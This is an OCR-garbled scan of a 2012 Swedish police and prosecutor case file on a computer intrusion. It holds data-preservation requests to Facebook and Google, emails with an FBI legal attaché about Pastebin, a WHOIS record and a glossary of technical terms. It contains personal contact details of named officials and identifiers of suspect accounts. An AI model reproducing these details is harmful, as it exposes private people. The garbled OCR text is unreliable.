safety of its users. Pursua nt to federal law, this page perm its authorized law enforcement 

officia ls to req uest preservation of Facebook records for a period of 90 days. Preserved 
records wi l l  be on ly  d isciased upon subsequent subm ission of a court order or other val id 
lega l  process to records@facebook.com . 

Christer Kågström 
Detective Inspector 
IT -CRIMESECTION Internet Investigation Team 
P.O Box 1 2 2  56 Stockholm 
Email :  ch rister. ka.gstrom@rkp.police.se 
Mobi.le:  +46705908329 

For  u se i n  the i nvestigat ion we re  q u est  that  y o u  p rovide us wit h :  

B S I  ( B a s i c  Subser iber  I nfo rmation) i n c l u d i n g  e-m a i la d resses a n  t h e  most recent log ins  i n  t h e  lP 

log 
• Co ntent, such as pictures, a l l  wal l - i nfo a n d  s u bse r i bers log .  
• Private Messa ges 

Please preserve all data u n t i l  a signed search warrant can fol io w by emai l .  

If there a re a ny problems with su pplyi ng aforeme ntioned data o r  questio ns  rega rd ing the case 

P l ease  co ntact Ch rister  Kågström as soon as possib l e .  

Facebook wi l l  only accept requests for preservation that identify a n  account by Facebook 
User ID,  Facebook Username or Email Address. For exa mple, the Facebook User ID in the 
profile http : //www . fa cebook.com/profi le/ ph p ? i d = 2 94454 2 1  is 2944 542 1 ;  the Facebook 
Username in  the profile http ://www . facebook .com/john .smith is jo.hn . smith 
Konto: 

www .facebook. com/l uciddrea m 1976 

WARNING: AUTHORIZED OFFICIALS ON LY. Requests to Facebook using th is  page 
may be made only. by a uthorized representatives of govern menta l entities in connection 
wrth lega l  proceed tngs. Unauthonzed requests wtll be referred to faw enforcement 
a uthorities for prosecution. If you a re a Facebook member, civil l itiga nt, or private 
attorney and  wtsh to request account records, please visit the Hjäl pcenter for assistance. 

By checking this box, I certlfy that I a m  an authorized agent of a 
governmenta ! en tity conducting an officia l investigation .  
Gene.ra l information for law enforcement offida ls making req uests for records 

from 

Facebook ca n be foun d  i n  the Säkerhetscenter.  

Note : Pursuant to federal law, authorized law enforcement officials may request that records be preserved for a n  add itional  9D days by re-submitting th is form . 

��?ckh� den 27 m�j 2012 

i h 1){ \�vL �· � :(\l, iS � 
!r.h · V . .. � l  ..... nster . gstrom . 
Detective Inspector 
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Electronic Requests by Law Enforcement Officials to Preserve 
Facebook Account Records 

Facebook wot·ks with law enforcement authorities where required by law and to ensure the safety of its 
users. Pursuant  to federal law, th is page permits authorized law enforcement officials to request 

preservation of Facebook records for a period of 90 days. Preserved records wi l l  be on ly d isciased upon 
subsequent submission of a court order or other val id legal  process to records@facebook.co m .  

Ch rister K�gström 
Detective Inspector 
IT-crime section  I nternet i nvestigation tea m .  
P . O  Box 1 2 2  5 6  Stockho l m  
Ema i l :  chr ister. kagstrom@rkp.pol ice . se 
Mobi l e :  +46705908329 
For use i n  the i nvestigation  we req uest that you p rovide us with : 

• BSI ( Basic Subseri ber Information)  i ncl ud ing e- mai ladresses a n  the 
most recent log ins  in  the lP  log . 

• content, such as pictures, a l l  wa l l - info and subseri bers log . 
• Private Messages 

Please preserve al l  data u nti l a sig ned sea rch wa rra nt ca n fo l l ow by ema i l ' 
If there are any prob lems with supplyi ng aforementioned data or q uestio n s  
rega rd i n g  t h e  case 
Please contact Christer K�g ström a s  soon as possi ble . 

Facebook will on ly accept requests for preservation that identify an account by Facebook User ID, 
Facebook Username or Email Address. For example, the Facebook User ID tn the profi le 

http ://www.facebook. com/profile/php 7 id= 2944S421 is 2944542 1 ;  the Facebook Username i n  the profi le 
http ://www.facebook.com/john.smith is john .sm ith . 

Konto: 

http ://facebook. com/snugg l  

WARNI N G :  AUTHORIZE D  OFFICIALS ONLY. Requests t o  Facebook using this page may be 

made only by authorized representatives of governmental entities in Connection with lega l  proceedings. 

Unauthorized requests wi l l  be referred to law enforcement authorities for prosecution .  If you are a 
Facebook member, civil l i tiga nt, or private attorney and wish to request account records, p lease visit the Hjälpcenter for assistance . 

By checking this box , I certity that l am an authorized agent of a govemmental entity 
conducting an official investigation. 

General informati.on for law enforcement officials making requests for records from 
Facebook can be found in the säkerhetscenter. 

Note : Pursuant to federal law, authorized law enforcement officials may request that records be 

preserved for an add itional  90 days by re-submitting th is form .  
Stockholm den 29 maj 20 12  

(1kcf ·0\L{l;Jt \ fl��� Christer �åhström 0 

Detective Inspector. 
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Rasmusson Henrik 

Från :  Rasmusson Henrik Skickat: Ti l l :  
Ämne: 

den 4 apri l 20 1 2  1 3 :52 
' Legal l nvestigations Support - G lobal' 
SV: [#994939227] SV: Your request for data from Google l nc. , AM-52 1 24-1 2 ,  1 09-3 1 

Dea r S ir  l Madame, 

Tha n k  you for you r  p rompt answer. 

l wou ld mu ch  a p  predate if you cou ld preserve the req uested information rega rd ing the account  
ma inframed767@gma i l .com for, to beg in  with, 90 days. 

l wil l  take a ppropriate action to secu re lega l p rocess. 

oest rega rds, 

Henrik Rasmusson 
mmaråklaga re, specialist immateria lrätt f Senior Public Prosecutor, lP Cri me 

Nationella  gruppen mot immateria l rättsbrott l Nationa l l ntel lectua l  Pro perty Crime U n it 

I nternatio nel la  å klagarkammare n  Stockholm l I nternation a l  Pub l ic Prosecutio n Office Stockhol m  

P . O .  Box 70296, 107 22 STOCKHOLM, Sweden 

E-ma i l :  h e n rik .rasm usson@a klaga re .se 

Telephone : 0046-{0)10-56 25445 
Telefax: 0046-{0)10-56 25483 

-----U rsprungl igt medde lande-----
Frå n :  Lega l l nvestigations  Support - G loba l  [ma i lto : l is-glo ba l@google.com] 

.c • - ;ckat: den  2 a p ri l  2012 19: 18 
, . . .  : Rasm usso n  H e n rik 
Äm ne :  Re: [#994939227] SV: You r  req uest for data from Google l nc. ,  AM-52 124-12, 109-3 1 

Dea r M r. Rasmusson,  

Tha n k  you for you r  m essage . P lease nate that the act ivity i n  account  [ mainframed767@gmai l . com ] re lates to l P  
add resses that appea r  to b e  from the U n ited States, wh ich  i s  beyond  the Eu ropean  Un io n, the EFTA or  the EEA, and  
therefore deta i l s  of the activity have  not  been inc l uded i n  th is  message. 

You may wish to contact a US Fede ra l  B u reau  of l nvestigation  lega l attache to determine if the re is a means to gain 
cooperation with the US gove rnm e nt to a d  d ress you r  needs.  You can fin d  a l ist of the lega l attache offices and 
contact info rmation at www.fbi .govlcontactllegatllegat. htm.  

I n  add it ion, you may wish to  consu lt w i th  the Office of I nte rnatio n a l  Affa irs {O lA) with US Department of  J ustice to 
determ ine  what d i p l omatic p rocesses a re ava i l ab le .  You ca n reach  O lA  by ca l l i ng +1 202-514-0000.  We a re not ab le  

l 
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to provide yo u with the specific req u i rements i n  your  j u risd ict ion,  but encou rage you to contact U S  Lega l Attache, 
O lA, o r  co unse l for guidance in  this p rocess. 

We may p reserve the information for 90 days, extendab le  for an add itiona l  period of 90 days u pon  request, wh i l e  
you  secu re proper  lega l process . 

Best Rega rds, 

Google l nc .  
Lega l l nvestigat ions  Support 
(220749) 

provid ing this respo nse, Google l nc .  does not wa ive a ny objection s  a s  to jurisdict ion or otherwise .  

Orig ina l Message Fo l lows : 

� "' m :  Rasm usson Hen rik  <Henrik .Rasm usson@aklagare.se> 
. .... oject: SV: [#994939227] You r  req uest for data from Google l nc . ,  

AM-52 124-12, 109-3 1 
Date:  Mon, 2 Apr 2012 16 :26 :34 +0000 

> Dea r  S i r/Mada me, 
> 
> 
> 
> Due  to h u m a n  e rror the request sent to you o n  M a rch  29, 2012, stated 
> the 
wrong Gma i l-acco u nt .  
> 
> 
> 

ttached to th is e-ma i l  yo u ca n fi n d  a new, a ltered, req uest with the  
•511t  a cco u nt name .  The req uest has  a lso been m a i led a n d  faxed to you today .  

> 
> 
> 

.J po logize for the i nconve n ie nce th i s may have ea used you a n d  than k  
> yo u  
for yo u r  k ind coope ration  i n  th i s  matter. 
> 
> 
> 
> Best rega rds 
> 
> 
> 
> 
> Hen ri k  Rasm u sson 
> Ka m m a rå klaga re,  specia l ist i m m ater ia l rätt l Sen ior  Pub l i c  P rosecutor, 
> l P 
Cri m e  
> Nat ione l l a  gru ppen  m o t  im mater ia l rättsb rott l Nation a l l nte l l ectua l 

2 
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Property CrJme U n it 
> I nternatione l la åk laga rka mmaren  Stockholm f I nte rnationa l  Pub l ic 
?rosecution Office Stockho lm 
> P .O .  Box 70296, 107 22 STOCKHOLM, Sweden 
> E-ma i l : 
h e n rik . rasm usson@a klaga re .se<mai lto : henrik . rasm usson@aklaga re .se> 
> Te lephone:  0046-(0)10-56 25445 
> Te lefax: 0046-(0) 10-56 25483 
> 
> [ Beskrivn ing :  Beskrivn ing :  logotyp] 
> 
> 
> 
> 
> 
> 

> 
> 
> 

> 
> -----Ursprungl igt medde lande-----
> Frå n :  Lega l l nvestigations  Support - G loba l 
[ma i lto : l is-g loba l@google .co m]  
> Skickat: den  3 1  m a rs 2012 00:44 
> Ti l l :  Rasm usson Henrik 
> Äm ne :  Re : [#994939227]  You r  request for data from Google l nc. ,  
AM-52 124-12, 109-3 1 
:> 

> 
> 
> De a r  S ir, 
> 
> 

> Tha n k  you fo r you r  message.  After a d i l igent sea rch  a n d  rea sona b le  
i nqu i ry, we have fou n d  no subseriber  info rmat ion o r  l P  log  informat ion for a ny Gma i l  a ccou nt created by a user with 
the ema i l  address [ m a i nfra med737@gma i l .com<ma i lto :ma infra m ed737 @gmai l .com > ] .  

> 

> 
> Best Rega rds, 
> 
> 
> 
> G oogle l nc .  
> 
> Lega l lnvestigation s  Support 
> 
> (220560) 
> 
> 
> 
> 

3 
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> By p rovid i ng this response, Google lnc .  does not wa ive a ny objections 
> as 
to jurisd ietio n or otherwise. 
> 
> 
> 

4 
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, . t'!! ÅKLAGARMYND IGHETEN 
'�1� i nternational  Publ ic  P rosecution  Office Stockholm 

Request Page 1 (2) 1 98 
Document 35 

A Senior Publ ic  Prosecutor Henrik  Rasm usson 
Reference AM-52 1 24- 1 2 ,  1 09-3 1 

2 0 1 2-04-02 

Postadress 
Box 70296 
1 07 22 STOCKHOLM 
SWEDEN 

Google Inc .  
1 600 Amphitheatre Parkway 
Mountain View, CA 94043 
USA 
Fax : 00 l 650 469 0622 (both fax and mail) 

Request for information in a criminal matter 

Our ref: AM-52 1 24- 1 2, 1 09-3 1 

Request: I hereby request the following information regarding the Gmail 
account mainframed767@gmail.com: 

Account owner (address, telephone, other e-mail accounts ,  
bank accounts or other means of payment, other contact 
information) 
Country from which the account was registered 
IP-address used to initiate the account 
IP-addresses used to access the account 
U ser-agent information regarding each IP-address 
Dates when the account was registered and, if applicable, 
el osed. 

Facts : I am in charge of criminal investigation regarding computer intrusion. 
There has recently been a serious breach into a Swedish computer system that 
contains important and sensitive information. The person behind the Gmail 
account mainframed767@gmail.com has asked for and received specific 
information over the Internet before and during the breach that strongly 
suggests direct involvement in the breach. 

Legal basis : Computer intrusion is a violation against chapter 4 section 9c of the 
Swedish C riminal Code. Computer intrusion is punishable by a fine or 
imprisonment up to 2 years . 

This request is executed in accordance with the Swedish Criminal Procedural 
Code. I - the undersigned - am competent to request the equivalent measures 
in Sweden. 

Confidentiality: If possible, this request should be kept confidential . 

Gatuadress 
Hantverka rgatan 25 A 

Telefon 
0 1 0-562 50 00 
Telefax 
o 1 0-562 54 83 

E-post 
reg istrator . int-stockholm@aklagare . se 

Webbadress 
www. aklagare . se 
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I nternational Publ ic Prosecution  Office Stockholm Req uest 

Senior  P u blic P rosecutor Henri k  Rasmusson 2 0 1 2-04-02 

Page 2 (2) 1 99 
Document 35 
Reference AM-52 1 24- 1 2 ,  1 09-3 1  
Hand läggare 1 0 9-31 

U rgency: The c rim e is on going and I would therefore appreciate if this 

request could be handled with urgency. 

Presentation of information : The requested information can be sent to me, 
preferably by e-mail.  

I greatly appreciate your assistance in this matter. Please do not hesitate to 
contact me if you need an y further information. 

� Henrik Rasmusson Senior Public Prosecotor 
International Public Prosecution Office Stockholm 
P.O. Box 70296, 107 22 STOCKHOLM, Sweden 
E-mail: henrik:..rasmusson@aldagare.se 
Telephone: 0046-(0)10-56 25445 
Telefax: 0046-(0)1 0-56 25483 
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67 . 1 . 1 4 . 1 1 3/67- l - 1 4- 1 1 3 .tcso .qwest .net IP Address WHOIS 1 . . .  

i;) DomainTools 

lP Information for 67. 1 . 1 4. 1 1 3  

IP Locatio n :  llj U n 1 ted States Boise Qwest C o m m u n i cat1ons Company Uc 

ASN : AS209 
Resolve Host: 67-1-14-llJ.tcso.gwest.net 

lP Address: 67 . 1 . 14 . 1 1 3  fi'D EJ @J @  I) 
NetRange : 

C I DR ' 

OriginAS : 

N et Name : 

NetHand l e : 

Paren t :  

NetTy?e : 

Comment : 

RegDat e : 

Updated : 

Re f :  

OrgName : 

Orgid ' 

Addre s s : 

City : 

StateProv : 

Posta lCode : 

C ountry : 

RegDate : 

Updated : 

Ref : 

6 7 . 0 . 0 . 0 - 6 7 . 7 . 2 5 5 . 2 5 5  

6 7 . 0 . 0 . 0 / 1 3  

QWE S T - I NE T - 1 4  

NET- 6 7 - 0 - 0 - 0 - 1  

NET- 6 7 - 0 - 0 - 0 - 0  

D i rect Allocation 

ADDRE S S E S  WITHIN T H I S  3LOCK ARE NON- PORTABLE 

2 0 0 1 - 0 7 - 2 6  

2 0 1 2 - 0 3 - 2 0  

http : l /whois . a r  in . net / r e s t / n e t / NET- 6 7  - 0 - 0 - 0 - 1  

Qwes t  Communications Company , LLC 

QCC - 2 1  

1 8 0  l California Street 

Den ve r 

ca 

8 0 2 0 2  

u s 
2 0 0 6 - 0 2 - 0 9  

2 0 1 1 - 0 9 - 0 8  

http : l l who i s . ar i n .  net l r e s t l o r g i QCC - 2 1 

OrgAbu s eHandle : QIA2-ARIN 

argAbuseName : 

OrgAbus e Phone : 

OrgAb u s e Emai l : 

OrgA.buseRe f :  

Qwe st Abuse 

+ l - 8 7 7 - 8 8 6 - 6 5 1 5  

.:.0.5"..:@9� 
http : l l who i s . ar i n . net l r e s t lpoc I Q IA2-ARIN 

OrgNOCHandle : Q IN - AR I N  

OrgNOCName : Qwe s t  IP NOC 

OrgNOCPhone : + 1 - 8 7 7 - 8 8 6 - 6 5 1 5  

OrgNOCErna i l ' Slii'I!<>J!@�.J!IS 
OrgNOCR e f : htt p :  l lwho i s . ar i n . netlres t l poc I Q I N-ARIN 

OrgTechHandle : Q IA-AR I N  

OrgTechName : 

OrgTechPhone : 

OrgTechEma i l : 

OrgTechRe f :  

Qwest I P  Adrnin 

+ 1 - 8 7 7 - 8 8 6 - 6 5 1 5  

ipadmin@qlowesl.com 
http : l lwho i s . ar i n . net l r e s t lpoc I Q IA-ARIN 

http : //whois .domaintools .com/67 . 1 . 1 4 . 1 1 3  200 

67 . 1 . 1 4 . 1 1 3  

Open a FREE Account 1 Log in 1 � 
Who is Search Search 

Memberships ! Oeveloper AP! ! About U s ! � ! Oesktop Toofs l Terms of Service l Privacy l Suppor1 l � � l Site Map 

© 201 2 DomainTools, LLC All rights reserved . 

l av l 20 1 2-07-09 1 4 :  I l  
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Richard Ahlgren - SV: Assistance 

Från : "US" <ulrika.s@rkp.police.se> 
Till: '"Dolinar, Shawn R."' <Shawn.Dolinar@ic.fbi.gov> 
Datum :  5/29/20 1 2  1 5 :52 
Ärende: SV: Assistance 
Kopia: <christer.kagstrorn@polisen.se>, <richard.ahlgren@polisen.se> 

Tha n ks for a l l  you h e l p ! 

My c o l leagues, Ch riste r a n d  Rich a rd w i i i  co nt i n u e  to investigate t h e  case, a n d  w i i i  fu rt h e r  be t h e  point  of 
contact i n  t h i s  m atte r. 

Best reg a rds,  

U l ri k a  

Från :  Dol i nar, Shawn R. [mai lto : Shawn . Dol inar@ic.fbi .gov] 
Skickat: den 29 maj 2012 14:46 
Til l :  US 
Ämne: RE: Assistance 

U l rika, 

We sti l l  have another month on the original  preservation letters . We sent them in on the fol lowing dates : 

March 30, 20 1 2  - Pastebi n .com/K5q2N270 
Apri l 13. 2012 - Pastebin . com/ScjzdOnQ 
Apri l 1 1 , 2012 - Qwest 

We can renew them when the dates get doser. Thanks 

Shawn 

Shawn Del i nar 
Legat Office Capenhagen 
45334 1 7 1 1 2  Desk 
452934682 1 Cel l  
646-438-2248 BB 
shawn .dol inar@ic. fbi .gov 

From: US [ulr ika . s@rkp. pol ice.se] 
Sent: Monday, May 28, 2012 1 : 28 AM 
To: Dol inar, Shawn R. 
Subject: Assistance 

H i  S h awn, 

l h o pe eve ryt h i n g  is  we i l  with you ! 

P lease ,  we n e e d  yo u r  h e l p  rega rd i n g  matte rs i n  t h e  case n u m be r :  AM-52 124- 12; 

l.  We n e ed to re n ew the p rese rvat i o n  req u est reg a rd i n g  t h e  two past e b i n  pastes that  we d i d  ea r l ier  

( Pa ste b i n . com/S cjzdO n Q , Pasteb i n . com/K5q2N 270 ) .  

I n  t h i s  m a tter, t h e  p rosecuto r wa nts to co l lect a l l requ e sts related to t h e  c a s e  before h e  s e n ds the 

M LAT. So that's why it ta kes t ime a n d  i t  is a b ig  case.  
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Rättshjä lp pasteb in , 20 1 3-03-27 1 4 :40 d iarienr :  020 1 -K8 1 864- 1 2 

Co u l d  you p lease h e l p us  rega rd i n g  these p reservat ions?  

2 .  An o t h e r  q u est ion  is rega rd ing t h e  l P  a d d ress, 67. 1 . 14. 113, Qwest Com m u n icat io n co m pa ny, LLC, 

Den ve r. 

Ti m e  2012-03-20 , 1 8 : 1 8 :53 ,  E u ro pe/stoc kh o l m Swed i s h  t i m e  

W a s  it s uccessfu l reg a rd i n g  t h e  l P  req u est? 

We a re very g ra tefu l fo r a l l  you r h e l p  rega rd ing th is cas e !  

P leas  e c a  i l  m e  if  you h a ve a ny q u estio n s .  

Rega rds, 

U l r ika 

Frän:  Dol inar, Shawn R. [mailto : Shawn . Dol inar@ic.fbi .gov] 
Skickat: den 30 mars 2012 20 : 26 
Til l :  ' u l rika .s@ rkp.pol ice.se' 
Ämne: Re : Link  

U l rika,  

We have sent the preservation req u est. You can send the emai l  whenever you h ave i t  ready. P lease let  me 
know if you have any p roblems .  

Shawn 
Desk 45334 1 7 1 1 2  
Cel l 4529346 8 2 1  

---------------·· ---------------·-·-·-·----·--·---------·- -·- -- ---·-------· --·--------·--------------

From : Dol inar, Shawn R. 
To: 'u l ri ka .s@rkp . pol ice .se' < u l rika . s@rkp.pol ice.se> 
Sent: Fri Mar 30 14 : 14 :23 2012 
Subject: Re : Lin k  

U l rika,  

l am g uess ing you h ave heard from An n a .  We fou n d  an emai l  address that the com pany was previously very 
responsive to i n  the past when this issue h ad occu rred . The o n ly issue was that when they took the p revious 
one down , th ey erased a l l  of  the data . S o  we are going to serve them with a preservat io n  request befo re you 
emai l  them .  Th is  tel ls  the m  to h o ld onto the data for 9 0  d ays. 

O n ce we serve th is ,  we wi l l tel l you to e m a i l  them . Here is what you need to inc lude in your emai l :  
1 .  l t  needs to be i n  E n g l is h  
2.  A e l  ear explanat ion o f  w h o  is making th e req uest 
3 .  A clear explanation of w hy the i nformation is abusive 
4. A l i n k  to the co nte n t  

Once w e  serve the p reservation letter,  l wi l l  e m a i l  you.  Then you can sen d your e m a i l  t o  the fol lowi n g  address: 

Admin@pastebin . com 
l wi l l let you know when o u rs i s  served . Thanks 

Shawn 

From:  US < u lrika . s@rkp. po l ice . se > 
To: Dolinar, Shawn R. 
Sent: Fri Mar 30 08 : 58 : 34 20 12 
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Rättshjä lp pastebin , 201 3-03-27 1 4 :40 d iarienr: 020 1 -K8 1 864-1 2 

Subject: Link 

H e l lo ! 

Tha n k  yo u for you r  coo peration !  

H ere i s  t h e  paste b in  l in  k; 

http://pasteb in . com/KSg2N270 

Best rega rds, 

U l rika S u n d l i n g  
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Berättelse 

Pasteb in  preservation 
Signerat av 

Signerat datum 

Diarienr 
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PASTEB I N  SUBPOENA RESPONSE 

htt p :/ /pa ste b i n . co m/5 cj z d O n Q  wa s poste d at  Th u,  2 9  M a r  1 2  

04 : 3 3 :30  -0500 b y  a gu est w i t h  l P  109 . 124. 167 . 2 3 2  

K5 q 2 N 2 70 wa s re m oved a t  Sat, 3 1  M a r  1 2  03 :03 : 3 3  -0500 a n d 
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Nomenklatur för ärende 020 1 -K8 1 864- 1 2 och 020 1 -K29 , 201 3-03-27 1 7 :43 d iarienr: 020 1 -K8 1 864- 1 2 

Polisen 
Pol ismynd ig heten i Stockho lms län 

Länskriminalpolisavdelningen 
!T-forensiska sektionen 

Nomenklatur 
Datum 

20 1 3-0 1 -2 1  

Diarienr (åberopas vid korresp) 

020 1 -K8 1 864- 1 2  

Nomenklatur för ärende 0201-K81864-12 

Utredn ingsman Bestäl lande enhet Telefon t i l l  utredn ingsman 

Kriminalinspektör Olle Wahlström LU/S 

Handläggare på !T-forensiska sektionen Medundersökare 

Kriminalinspektör Olle Wahlström 
IT-forensiker Joakim Persson 

Arendetyp Undersökn ingstyp 

Bedrägeri, dataintrång Analys av !T-media 

I n kom t i l l  !T-forensiska sektionen Undersökningen påbörjad datum 

20 1 2-09-06 20 1 2-09-06 

Undersökn ingsadress 

Sammanfattning 

Följande ordlista syftar till att skapa ett sammanhang, beskriva företagsdetaljer 
samt förklara tekniska detaljer som behandlas i ärendet. 

Nomenklatur för ärende 020 1 -K8 1 864- 1 2 .docx 

128Jj 



Nomenklatur för ärende 020 1 -K8 1 864-1 2 och 0201 -K29 , 201 3-03-27 1 7 :43 d iarien r: 020 1 -K8 1 864- 1 2  

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

Applicate 

ASCII 

Atos Origins 

Bakdörr 

Bisnode 

BSNXXXX 

Cogetel 

Cookies 

Google Chrorne 
Time 

Unix Nomeric 
Time 

Windows 64bit 
Time 

Företag som ingår i Biznode koncernen, specialiserade 
på att utveckla kundanpassade !T-lösningar bland annat 
baserade på den data som systerbolaget Infodata 
tillhandahåller. 

Företaget har sitt ursprung i den statliga myndigheten 
DAFA som bildades 1 970. 

American Standard Code for Information Interchange. 
teckenkodning baserat på det engelska alfabetet 

Företag som bildades genom en sammanslagning av det 
Franska Atos och det nederlänska Origin. 2005 såldes 
den Svenska och Norska verksamheten till WM-data. 

Ett program eller en modifikation av ett program som 
möjliggör åtkomst till datorn utan att använda de normala 
säkerhetskontrollerna 

Koncern där Applicate, Infodata och Infotorg ingår. 

En användare i RACF på SY1 9  som har använts av 
obehöriga. 

Kambodjansk internetleverantör 

En cookie eller kaka är en liten textbaserad datafil som 
en webbserver kan be att få spara i webbplatsbesökarens 
dator. 

Kakorna innehåller ofta information i klartext om till 
exempel preferenser, senaste gången man besökte sidan 
osv. Ofta använts kakor för att följa en enskild besökare 
och för att skapa statistik. 

Den tid som registreras i kakan är normalt den lokala 
datorns. Beroende på vilken webbläsare som används 
kommer den att kodas olika. 

I webbläsaren Google Chrorne kommer tiden att kodas 
som Google Chrorne Time vilket anger antalet 
mikrosekunder sedan 1 60 1 -0 1 -0 1  00 :00:00. Se exempel 
nedan : 

2005-05-16 08:56:40 {:::} 12 760707400000000 

I webbläsaren Mozilla Firefox kommer tiden att kodas 
som Unix Numeric Time vilket anger antalet sekunder 
sedan 1 970-0 1 -0 1 00:00 :00. Se exempel nedan: 

2006-05-26 08:31 :40 {:::} 1 148632300 

Windows 64bit Time anger antalet nanosekunder sedan 
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Windows Filetime 
Time 

Windows Cookie 
Date Time 

c vs 

DAFA 

DAFA Data 

DAFxxx 

Dataset 

medlemmar 

prefix 

1 60 1 -0 1 -0 1  00 :00 :00. Se exempel nedan: 

2012-10-10 19:10:10  <=> 129943698100000000  

Windows Piletime Time är ett Windows 64bit Time 
värde som yttrycks hexadecimalt och där de fyra första 
och sista byten är omkastade. Se exempel nedan: 

de0d1500 :  0 1 cda71a <=> dec(01cda71ade0d1500) <=> 
129943698100000000 <=> 2012-10-10 19:10:10  

I webbläsaren Internet Explorer kommer tiden att kodas 
som Windows Cookie Date Time, och anges ofta som två 
värdepar separerade med kolon [ : ]  eller kommatecken [,] . 
Detta är Windows Piletime Time utryckt i decimal form. 
Se exempel nedan: 

3725399296,302 54874 <=> 
de0d1500 : 0 1cda71a <=> 
dec(0 1cda71ade0d1500) <=> 
1299436981 00000000  <=> 2012-10-10 19:10:10  

CVS är en programvara som hjälper flera programmerare 
att arbeta i samma material och sköter till exempel 
versionshantering. 

Datacentralen för administrativ databehandling, statlig 
myndighet som 1 977 tilldelades totalansvaret för SPAR. 
Ombildades 1 986 till ett eget statligt bolag under namnet 
DAPA Data. 

statligt bolag som bildades 1 986 från den tidigare 
myndigheten DAPA. 1 990 bildades InfoData som en del 
inom DAPA Data. 

Användare i RACP som har använts av obehörig för att 
logga in i systemet. 

Används för fillagring i stordatorvärlden. 

Namn på dataset består av versala bokstäver separerade 
av punkter där varje del kallas nod. 

D044.XXXX.XXX.XXX 

Den maximala längden för en nod är 8 tecken och den 
maximala totala längden för ett namn på ett dataset är 44 
tecken. 

Ett dataset kan innehålla flera medlemmar, och kan 
därmed liknas mig en katalog med underkataloger och 
filer. 

Den initiala noden kallas ibland för prefix och används 
för att gruppera och identifiera olika datamängder. 
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EBCDIC Extended Binary Coded Decimal Interchange Code är en 
8-bitars tecken kodning som används främst i IBMs 
stordatorer och midrange datorsystem. 

Fjärrskrivbord Fjärrskrivbord (engelska remote desktop, terminal 
services) , är en tjänst i Windows som gör det möjligt att 
ansluta till en annan dator över internet. 

FTP File Transfer Protocol är ett av de tidigaste och 
fortfarande populäraste filöverföringsprotokollen för 
Internet. FTP är ett kommandobaserat protokoll för 
överföring av text och binära datafiler. Moderna 
programvaror använder ett grafiskt eller textbaserat 
gränssnitt som skal för kommandon. 

FTP kommunicerar vanligtvis över TCP-port 20 och 2 1 ,  
och är ej krypterad. Port 2 1  används för kontrollström 
medan port 20 används för själva dataöverföringen 

Hibernate Se viloläge 

Hercules Hercules är en mjukvara som gör det möjliggör att 
installera och köra programvara designade för IBMs 
stordatorer på vanliga persondatorer. 

Indexerat Process där man samlar in, bearbetar och lagrar data, 
vanligen text, för att åstadkomma snabba 
informationssökningar. 

lnfoData Företag som idag ingår i Biznode koncernen, 
specialiserade på att affärsinformation, registervård och 
onlinetjänster baserade på information från ett stort antal 
olika datakällor. 

lnfoTorg 

lP-adress 

IRC 

Företaget bildades 1 990 inom DAFA Data för att sköta 
driften av SPAR. 1 993 bröts lnfoData ut ur DAFA data 
och såldes till Sema Group. 

Tillhandahåller en portal för informationssökning 

En lP-adress eller ett lP-nummer (engelska Internet 
Protocol address) är ett nummer som används som adress 
för enskilda datapaket i lP-standarden, den 
grundläggande standarden för trafik på Internet. Kan 
liknas vid gatuadress eller telefonnummer. 

Internet Relay Chat (engelska ungefär internetsänd chat) , 
är ett kommunikationsprotokoll som tillåter användaren 
att via tangentbordet "prata" (chatta) med andra i realtid, 
oavsett var på jordklotet de befinner sig. Detta innebär att 
användaren lätt kan prata i en grupp av människor från 
olika delar av världen, som om de befann sig i samma 
rum. 

Denna skriftliga kommunikation kan sparas i form av 
loggfiler som är rena textfiler. 
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Itwebl 
itweb2 

Kryptering 

full disk 

container 

Linux 

LPAR 

Mac OSX 

Mainframe 

Hash summa 

MD5 

NAVET 

Nordea 

IRC kan liknas vid en lång korridor när användaren 
ansluter sig via Internet. Från korridoren kan användaren 
välja att gå in i olika rum (kanaler) . Varje kanal är döpt, 
exempel på kanalnamn kan vara #stockholm. I kanalen 
kan användaren välja att prata med alla, eller att prata 
med någon privat. Det finns en mycket stor mängd 
kanaler (ofta över flera tusen) , som täcker de flesta 
intresseområden på olika IRC-nätverk. 

Namn på två av Infotorgs webbservrar 

Kryptering är en teknik som skyddar information genom 
att omvandla den till oläslig kod som inte lätt kan tydas 
av obehöriga. 

Vid fulldiskkryptering krypterar man hela 
lagringsmediet 

En krypterad container är en fil på lagringsmediet där 
man kan lägga in material och som krypterar allt som 
läggs in. 

Linux eller GNU/Linux, är ett Unix-liknande 
operativsystem som till största delen, och i några 
varianter helt, består av fri programvara 

Logisk partition, ett tekniskt sätt att dela den fysiska IBM 
stordator i flera logiska datorsystem. På stordatorn som 
används av Logi ca finns cirka 20 olika LP AR. 

OS X, fram till februari 20 1 2  benämnt Mae OS X, är en 
familj närbesläktade operativsystem från Apple. I princip 
alla datorer från Apple har sedan år 200 l levererats med 
den senaste versionen av OS X förinstallerat 

Se stordator 

En hashfunktion är en algoritm eller matematisk funktion 
som gör om någon sorts data till ett relativt litet heltal . 
Värderna som returneras av funktionen kan kallas för 
hashsumma, hashvärde och kondensat 

Hashfunktioner är nära besläktade med kontrollsummor, 
används bland annat för att skapa fingeravtryck av data. 

MD5, Message-Digest algorithm 5, är en kryptografisk 
hashfunktion som skapar ett 1 28 bitar stort hashvärde av 
valfri data MD5 används bland annat som checksumma 
vid vissa typer av filöverföring, digital signering och för 
lösenordsverifiering 

Ett system för att förmedla personuppgifter mellan bland 
annat myndigheter. 

Nordea är en nordisk bank- och finanskoncern, etablerad 
2000 genom sammanslagning av Merita-Nordbanken, 



Nomenklatur för ärende 020 1 -K8 1 864-1 2 och 020 1 -K29 , 201 3-03-27 1 7 :43 d iarienr: 020 1 -K8 1 864-1 2 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  

Unibank och Kreditkassen 

Nordie Gemensamt driftbolag för Nordeas stordatormiljö ,  delägt 
Processor AB mellan IBM och Nordea 

Nmap Se portskanning. 

Oallokerat Område på ett lagringsmedium som operativsystemet 
betraktar som ledigt. Detta område kan tidigare ha 
innehållit filer som blivit raderade antingen aktivt av 
användaren eller av operativsystemet - eller så har 
området aldrig använts . Filer eller delar av filer kan hittas 
i detta område om operativsystemet inte har använt 
området på nytt. 

Passagen www.passagen. se är en webbtjänst som tidigare bland 
annat erbjöd extern lagring via ftp. Idag ägs tjänsten av 
företaget SprayPassagen 

PI Påloggning Infotorg. En speciell programvara som 
används av Applicate för att autentisera användare i sin 
InfoTorg ansökan. 

